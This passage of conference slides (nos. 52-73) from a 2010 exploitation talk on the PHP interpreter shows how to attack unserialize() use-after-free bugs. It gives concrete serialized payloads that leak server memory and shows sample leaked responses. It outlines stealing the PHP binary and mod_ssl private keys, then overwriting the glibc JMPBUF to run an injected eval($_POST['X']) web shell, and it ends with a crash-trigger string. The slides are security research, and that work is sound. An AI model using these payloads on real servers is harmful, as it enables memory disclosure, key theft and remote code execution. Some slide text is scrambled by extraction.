  • 52. Creating a fake string ZVAL • we construct a string that represents a string ZVAL string string reference pointer length counter ⎫ ⎬ ⎭ ⎫ ⎬ ⎭ ⎫ ⎬ ⎭ 32 bit string ZVAL: 18 21 34 B7 00 04 00 00 00 01 01 00 06 00 • our fake string ZVAL • string pointer points where we want to leak (0xB7342118) • length is set to 1024 (0x400) • reference counter is choosen to be not zero or one (0x101) • type is set to string variable (0x06) • when sent to the server the returned value contains 1024 leaked bytes Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  52
  • 53. Arbitrary Leak Unserialize Payload • create an array of integer variables • free the array • create a fake ZVAL string which will reuse the memory • create a reference to one of the already freed integer variables • reference will point to our fake string ZVAL a:1:{i:0;C:16:"SPLObjectStorage":159:{x:i:2;i:0;,a:10:{i:1;i:1;i: 2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i: 10;i:10;};i:0;,i:0;;m:a:2:{i:1;S:19:"182134B70004 00000001010006x00BBCCC";i:2;r:11;}}}} Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  53
  • 54. Arbitrary Leak Response • the response will look a lot like this a:1:{i:0;C:16:"SplObjectStorage":1093:{x:i:1;i:0;,i:0;;m:a:2:{i: 1;S:19:"182134B700040000000101000600BBCCC";i:2;s: 1024:"??Y?`?R?0?R?P?R???Q???Q?@?Q???Q??Q???Q?P?Q?`?R?0?R?cR?p?R?? R??R???R?0?R?`|R?@?R???R?p?R??gR??R??hR??gR??jR?0hR???R??kR?`?R?0? R?P?R???R??R?....................... !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[] ^_`abcdefghijklmnopqrstuvwxyz{|} ~????????????????????????????????????????????????????@?N22PAPQY? TY???d??9Y???]?s6??BY?`?J?PBY??AY?`8Y??=Y?`]P? @Y??>Y?0>Y??=Y? <Y?;Y?`9Y??2??]?ve??TY??TY?UY??? Y???e???e??e?`?e??e?`?e???e???";}}} Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  54
  • 55. Starting Point? • wait a second... • how do we know where to start when leaking memory • can we leak some PHP addresses • is that possible with a leak-after-free attack? Yes it is! Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  55
  • 56. Creating a fake string ZVAL • we again construct a string that represents a string ZVAL string string reference pointer length counter ⎫ ⎬ ⎭ ⎫ ⎬ ⎭ ⎫ ⎬ ⎭ 32 bit string ZVAL: 41 41 41 41 00 04 00 00 00 01 01 00 06 00 • our fake string ZVAL • pointer points where anywhere - will be overwritten by a free (0x41414141) • length is set to 1024 (0x400) • reference counter is choosen to be not zero or one (0x101) • type is set to string variable (0x06) • when sent to the server the returned value contains 1024 leaked bytes Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  56
  • 57. Starting Point Leak Unserialize Payload a:1:{i:0;C:16:"SPLObjectStorage":1420:{x:i:6;i:1;,a:40:{i:0;i:0;i:1;i: 1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i: 10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i: • create an array of integer 17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i: variables to allocate memory 24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i: 31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i: 38;i:39;i:39;};i:0;,a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i: • create another array of integer 5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i: variables and free the array 13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i: 20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i: 27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i: • create an array which mixes our 34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;};i:0;,i:0;;i:0;,a: fake ZVAL strings and objects 20:{i:100;O:8:"stdclass":0:{}i:0;S: 19:"41414141000400000001010006x00BBCCC";i:101;O: 8:"stdclass":0:{}i:1;S: • free that array 19:"41414141000400000001010006x00BBCCC";i:102;O: 8:"stdclass":0:{}i:2;S:19:"414141410004 • create a reference to one of the 00000001010006x00BBCCC";i:103;O:8:"stdclass":0:{}i:3;S: 19:"414141410004 already freed integer variables 00000001010006x00BBCCC";i:104;O:8:"stdclass":0:{}i:4;S: 19:"414141410004 • reference will point to our already 00000001010006x00BBCCC";i:105;O:8:"stdclass":0:{}i:5;S: 19:"414141410004 freed fake string ZVAL 00000001010006x00BBCCC";i:106;O:8:"stdclass":0:{}i:6;S: 19:"414141410004 00000001010006x00BBCCC";i:107;O:8:"stdclass":0:{}i:7;S: • string pointer of fake string 19:"414141410004 was overwritten by memory 00000001010006x00BBCCC";i:108;O:8:"stdclass":0:{}i:8;S: cache !!! 19:"414141410004 00000001010006x00BBCCC";i:109;O:8:"stdclass":0:{}i:9; S: 19:"414141410004 00000001010006x00BBCCC";};i:0;,i:0;;i:1;,i:0;;m:a:2:{i:0;i:0;i: 1;r:57;}}}} Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  57
  • 58. Starting Point Leak Response • the response will contain the leaked 1024 bytes of memory • starting from an already freed address • we search for freed object ZVALs in the reply overwritten object reference by free handlers counter ⎫ ⎬ ⎭ ⎫ ⎬ ⎭ ⎫ ⎬ ⎭ 32 bit object ZVAL: 41 41 41 41 20 12 34 B7 00 00 00 00 05 00 ⎭ ⎪ ⎬ ⎪ ⎫ pattern to search • the object handlers address is a pointer into PHP‘s data segment • we can leak memory at this address to get a list of pointers into the code segment Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  58
  • 59. Where to go from here? • having pointers into the code segment and an arbitrary mem info leak we can ... • scan backward for the ELF / PE / ... executable header • remotely steal the PHP binary and all it‘s data • lookup any symbol in PHP binary • find other interesting webserver modules (and their executable headers) • and steal their data (e.g. mod_ssl private SSL key) • use gathered data for a remote code execution exploit Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  59
  • 60. Part VIII Controlling Execution Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  60
  • 61. Taking Control (I) • to take over control we need to • corrupt memory layout • call user supplied function pointers • unserialize() allows to destruct and create fake variables • string - freeing arbitrary memory addresses • array - calling hashtable destructor • object - calling del_ref() from object handlers Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  61
  • 62. Taking Control (II) • object and array variables point to tables with function pointers only • string variables store pointer to free inline • small freed memory blocks end up in PHP‘s memory cache • new string variable of same size will reuse cached memory • allows to overwrite with attacker supplied data Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  62
  • 63. PHP and the Linux x86 glibc JMPBUF • PHP uses a JMPBUF for try {} catch {} at C level jmpbuf • JMPBUF is stored on stack EBX • executor_globals point to current JMPBUF ESI EDI • glibc uses pointer obfuscation for ESP and EIP EBP • ROL 9 ESP ecx ),% (% esp ,%e dx • XOR gs:[0x18] 0x4 e cx) i mov 4(% %ed 0x1 ec x), EIP mov 0(% 0x1 dx ,%e edx mov 0x9 8,% • obvious weakness ror $ %gs : 0x1 ,%e di edi xo r $ 0x9 8,% : 0x1 ror %gs sp ,%e • EBP not obfuscated x or % edi 1 f29 cmp 0 x8c p %es j be $0 xc, sub Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  63
  • 64. Breaking PHP‘s JMPBUF • lowest 2 bits of ESP are always 0 jmpbuf • allows determining lowest 2 bits of EIP EBX ESI • PHP‘s JMPBUF points into php_execute_script() EDI • prepended by CALL E8 xx xx xx xx EBP • followed by XOR + TEST 31 xx 85 xx ESP EIP • we can search for EIP • known EIP allows determining secret XORER Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  64
  • 65. Using Fake Strings to Overwrite JMPBUF (I) • search process stack from JMPBUF‘s position backward • there are atleast MAX_PATH bytes • search for pattern XX 00 00 00 (XX>0x0c and XX<0x8f) • field could be the size field of a small memory block 3 34 21 10 00 00 00 D3 A2 51 30 20 87 54 C2 BF 77 43 67 23 12 JMPBUF - 0x43 Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  65
  • 66. Using Fake Strings to Overwrite JMPBUF (II) memory cache NULL 0x55667788 NULL • we can create a fake string NULL • with string data at JMPBUF - 0x43 + 8 NULL • and free it NULL MEMORY HEADER STRING DATA 3 34 21 10 00 00 00 D3 A2 51 30 20 87 54 C2 BF 77 43 67 23 12 JMPBUF - 0x43 FAKE STRING Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  66
  • 67. Using Fake Strings to Overwrite JMPBUF (III) memory cache NULL FAKE STRING • PHP‘s allocator will put a block of size NULL 0x10 into memory cache NULL • first 4 bytes will be overwritten by NULL pointer to next block NULL MEMORY HEADER STRING DATA 3 34 21 10 00 00 00 D3 A2 51 30 88 77 66 55 BF 77 43 67 23 12 JMPBUF - 0x43 FAKE STRING Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  67
  • 68. Using Fake Strings to Overwrite JMPBUF (IV) memory cache NULL 0x55667788 • creating a fake 7 byte string will reuse the cached memory NULL NULL ‣ “x78x00x00x00XXX“ NULL • next block pointer will be restored NULL • string data gets copied into stack MEMORY HEADER STRING DATA 3 34 21 10 00 00 00 D3 A2 51 30 78 00 00 00 58 58 58 00 23 12 JMPBUF - 0x43 FAKE STRING Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  68
  • 69. Using Fake Strings to Overwrite JMPBUF (V) memory cache NULL 0x55667788 • we repeat the attack with our new string data NULL • this time we can write 0x70 bytes NULL • enough to overwrite JMPBUF - 0x33 bytes away NULL NULL • and putting more payload on the stack MEMORY HEADER STRING DATA ... A2 51 30 78 00 00 00 58 58 58 00 23 12 17 55 23 A2 A1 FF FF FF JMPBUF - 0x3B NEW FAKE STRING Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  69
  • 70. Using Fake Strings to Overwrite JMPBUF (VI) • We can now setup a stack frame for zend_eval_string() • and injected PHP code • and the JMPBUF 78 00 00 00 58 58 58 00 00 00 00 XX XX XX XX 00 00 00 00 XX XX XX XX 00 00 00 00 00 00 00 00 00 e v a l ( $ _ P O S T [ ‘ X ‘ ] ) ; 00 00 00 00 00 00 00 00 00 EBX EBX EBX EBX ESI ESI ESI ESI EDI EDI EDI EDI EBP EBP EBP EBP ESP ESP ESP ESP EIP EIP EIP EIP 00 D3 A2 51 30 78 00 00 00 58 58 58 00 10 00 00 00 D3 A2 51 30 78 00 00 00 58 58 58 00 Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  70
  • 71. Triggering JMPBUF Execution • PHP will pass execution to the JMPBUF on zend_bailout() • zend_bailout() is executed for core errors and on script termination • unserialize() can trigger a FATAL ERROR • unserializing too big arrays will alert the MM‘s integer overflow detection ‣ unserialize('a:2147483647:{'); • this will result in longjmp() jumping to zend_eval_string() • which will execute our PHP code Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  71
  • 72. Thank you for listening... DEMO Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  72
  • 73. Thank you for listening... QUESTIONS ? Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  73